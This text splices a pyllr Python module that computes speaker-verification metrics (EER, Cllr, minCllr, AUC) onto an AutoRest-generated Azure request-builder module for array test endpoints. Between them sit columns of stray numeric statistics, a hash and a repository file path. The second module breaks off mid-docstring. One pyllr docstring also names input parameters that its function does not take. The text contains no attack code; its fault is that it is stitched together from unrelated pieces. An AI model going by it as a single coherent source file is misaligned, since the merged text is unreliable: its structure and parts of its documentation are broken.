import numpy as np from pyllr.pav_rocch import PAV, ROCCH from pyllr.cllr import cllr, min_cllr from pyllr.utils import tarnon_2_scoreslabels, scoreslabels_2_tarnon, probit, probitinv def scoreslabels_2_eer_cllr_mincllr(scores, labels): """ Given labelled scores, computes the binary classifier evaluation objectives: EER, Cllr and minCllr. The scores are assumed to be in log-likelihood-ratio (llr) form: LLR = log P(data | target) - log P(data | non-target) If the scores or in some other form, EER and minCllr may still be meaningful, but Cllr, which calibration sensitive, may be meaningless. If the scores are well-calibrated, Cllr and minCllr will be close. Inputs: scores: (n,) an array of binary classifier scores in llr form labels: (n,) 0/1 class labels, where target = 1 and non-target = 0 Outputs: EER: float. Equal-Error-Rate. This is the ROCCH-EER. Cllr: float. Prior-weighted cross-entropy at prior = 0.5. Scaled such that Cllr = 1 when all llr scores are 0. minCllr: float. The value that Cllr attains when the optimal score calibration function, subject to monotonicity is found usign the given labels. """ pav = PAV(scores,labels) eer = ROCCH(pav).EER() Cllr = cllr(*scoreslabels_2_tarnon(scores, labels)) minCllr = min_cllr(pav) return eer, Cllr, minCllr def tarnon_2_eer_cllr_mincllr(tar, non): """ Given labelled scores, computes the binary classifier evaluation objectives: EER, Cllr and minCllr. The scores are assumed to be in log-likelihood-ratio (llr) form: LLR = log P(data | target) - log P(data | non-target) If the scores or in some other form, EER and minCllr may still be meaningful, but Cllr, which calibration sensitive, may be meaningless. If the scores are well-calibrated, Cllr and minCllr will be close. Inputs: tar: (m,) an array of binary classifier scores in llr form. All these scores are assumed to be of class 1 (targets). non: (n,) an array of binary classifier scores in llr form. All these scores are assumed to be of class 0 (non-targets). Outputs: EER: float. Equal-Error-Rate. This is the ROCCH-EER. Cllr: float. Prior-weighted cross-entropy at prior = 0.5. Scaled such that Cllr = 1 when all llr scores are 0. minCllr: float. The value that Cllr attains when the optimal score calibration function, subject to monotonicity is found usign the given labels. """ scores, labels = tarnon_2_scoreslabels(tar, non) pav = PAV(scores,labels) eer = ROCCH(pav).EER() Cllr = cllr(tar, non) minCllr = min_cllr(pav) return eer, Cllr, minCllr def tarnon_2_eer(tar,non): """ Given labelled scores, computes the binary classifier evaluation objective: Equal-Error-Rate (EER). The scores may be in uncalibrated form. The EER is not calibration-sensitive. Same as scoreslabels_2_eer_cllr_mincllr(), but with a different input format for the input scores. See also the documentation for that function. Inputs: tar: (m,) an array of binary classifier scores. All these scores are assumed to be of class 1 (targets). non: (n,) an array of binary classifier scores. All these scores are assumed to be of class 0 (non-targets). Output: EER: float. Equal-Error-Rate. This is the ROCCH-EER. """ pav = PAV(*tarnon_2_scoreslabels(tar,non)) return ROCCH(pav).EER() def scoreslabels_2_eer(scores,labels): """ Given labelled scores, computes the binary classifier evaluation objective: Equal-Error-Rate (EER). The scores may be in uncalibrated form. The EER is not calibration-sensitive. Same as scoreslabels_2_eer_cllr_mincllr(), but with a different input format for the input scores. See also the documentation for that function. Inputs: tar: (m,) an array of binary classifier score. All these scores are assumed to be of class 1 (targets). non: (n,) an array of binary classifier scores. All these scores are assumed to be of class 0 (non-targets). Output: EER: float. Equal-Error-Rate. This is the ROCCH-EER. """ pav = PAV(scores,labels) return ROCCH(pav).EER() def tarnon_2_auc(tar,non): pav = PAV(*tarnon_2_scoreslabels(tar,non)) return ROCCH(pav).AUC() def tarnon_2_eer_auc(tar,non): pav = PAV(*tarnon_2_scoreslabels(tar,non)) rocch = ROCCH(pav) return rocch.EER(), rocch.AUC() def eer_2_auc_approx(eer): """ The relationship between EER and AUC is not an exact function, because AUC depends on details of the score distributions, other than the EER. This function gives a good approximation to AUC when the scores are approximately Gaussian and when targets and non-targets have approximately equal variances. """ return probitinv(np.sqrt(2)*probit(eer))
35.078947
87
0.648725
748
5,332
4.562834
0.179144
0.034281
0.037504
0.042192
0.80838
0.785526
0.785526
0.785526
0.785526
0.784354
0
0.009112
0.279632
5,332
151
88
35.311258
0.879458
0.695799
0
0.4375
0
0
0
0
0
0
0
0
0
1
0.21875
false
0
0.125
0
0.5625
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
8
3bf77d7a8be1d34daa64379498dc54e164b7a616
92,731
py
Python
test/vanilla/low-level/Expected/AcceptanceTests/BodyArrayLowLevel/bodyarraylowlevel/rest/array/_request_builders.py
cfculhane/autorest.python
8cbca95faee88d933a58bbbd17b76834faa8d387
[ "MIT" ]
null
null
null
test/vanilla/low-level/Expected/AcceptanceTests/BodyArrayLowLevel/bodyarraylowlevel/rest/array/_request_builders.py
cfculhane/autorest.python
8cbca95faee88d933a58bbbd17b76834faa8d387
[ "MIT" ]
null
null
null
test/vanilla/low-level/Expected/AcceptanceTests/BodyArrayLowLevel/bodyarraylowlevel/rest/array/_request_builders.py
cfculhane/autorest.python
8cbca95faee88d933a58bbbd17b76834faa8d387
[ "MIT" ]
1
2022-03-28T08:58:03.000Z
2022-03-28T08:58:03.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- import datetime from typing import TYPE_CHECKING from azure.core.rest import HttpRequest from msrest import Serializer if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from typing import Any, Dict, List, Optional, TypeVar T = TypeVar("T") JSONType = Any _SERIALIZER = Serializer() _SERIALIZER.client_side_validation = False # fmt: off def build_get_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get null array value. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/null' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_invalid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get invalid array [1, 2, 3. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/invalid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_empty_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get empty array value []. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/empty' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_empty_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value empty []. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ "str" # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/empty' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_boolean_tfft_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get boolean array value [true, false, false, true]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ bool # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/boolean/tfft' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_boolean_tfft_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value empty [true, false, false, true]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ bool # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/boolean/tfft' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_boolean_invalid_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get boolean array value [true, null, false]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ bool # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/boolean/true.null.false' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_boolean_invalid_string_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get boolean array value [true, 'boolean', false]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ bool # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/boolean/true.boolean.false' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_integer_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get integer array value [1, -1, 3, 300]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/integer/1.-1.3.300' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_integer_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value empty [1, -1, 3, 300]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ 0 # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/integer/1.-1.3.300' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_int_invalid_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get integer array value [1, null, 0]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/integer/1.null.zero' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_int_invalid_string_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get integer array value [1, 'integer', 0]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/integer/1.integer.0' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_long_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get integer array value [1, -1, 3, 300]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/long/1.-1.3.300' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_long_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value empty [1, -1, 3, 300]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ 0.0 # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/long/1.-1.3.300' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_long_invalid_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get long array value [1, null, 0]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/long/1.null.zero' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_long_invalid_string_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get long array value [1, 'integer', 0]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/long/1.integer.0' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_float_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get float array value [0, -0.01, 1.2e20]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/float/0--0.01-1.2e20' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_float_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value [0, -0.01, 1.2e20]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ 0.0 # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/float/0--0.01-1.2e20' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_float_invalid_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get float array value [0.0, null, -1.2e20]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/float/0.0-null-1.2e20' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_float_invalid_string_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get boolean array value [1.0, 'number', 0.0]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/float/1.number.0' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_double_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get float array value [0, -0.01, 1.2e20]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/double/0--0.01-1.2e20' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_double_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value [0, -0.01, 1.2e20]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ 0.0 # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/double/0--0.01-1.2e20' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_double_invalid_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get float array value [0.0, null, -1.2e20]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/double/0.0-null-1.2e20' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_double_invalid_string_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get boolean array value [1.0, 'number', 0.0]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ 0.0 # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/double/1.number.0' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_string_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get string array value ['foo1', 'foo2', 'foo3']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "str" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/string/foo1.foo2.foo3' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_string_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value ['foo1', 'foo2', 'foo3']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ "str" # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/string/foo1.foo2.foo3' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_enum_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get enum array value ['foo1', 'foo2', 'foo3']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ "str" # Optional. ] """ accept = "application/json" # Construct URL url = '/array/prim/enum/foo1.foo2.foo3' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_enum_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Set array value ['foo1', 'foo2', 'foo3']. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ "str" # Optional. ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/prim/enum/foo1.foo2.foo3' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_string_enum_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get enum array value ['foo1', 'foo2', 'foo3']. See 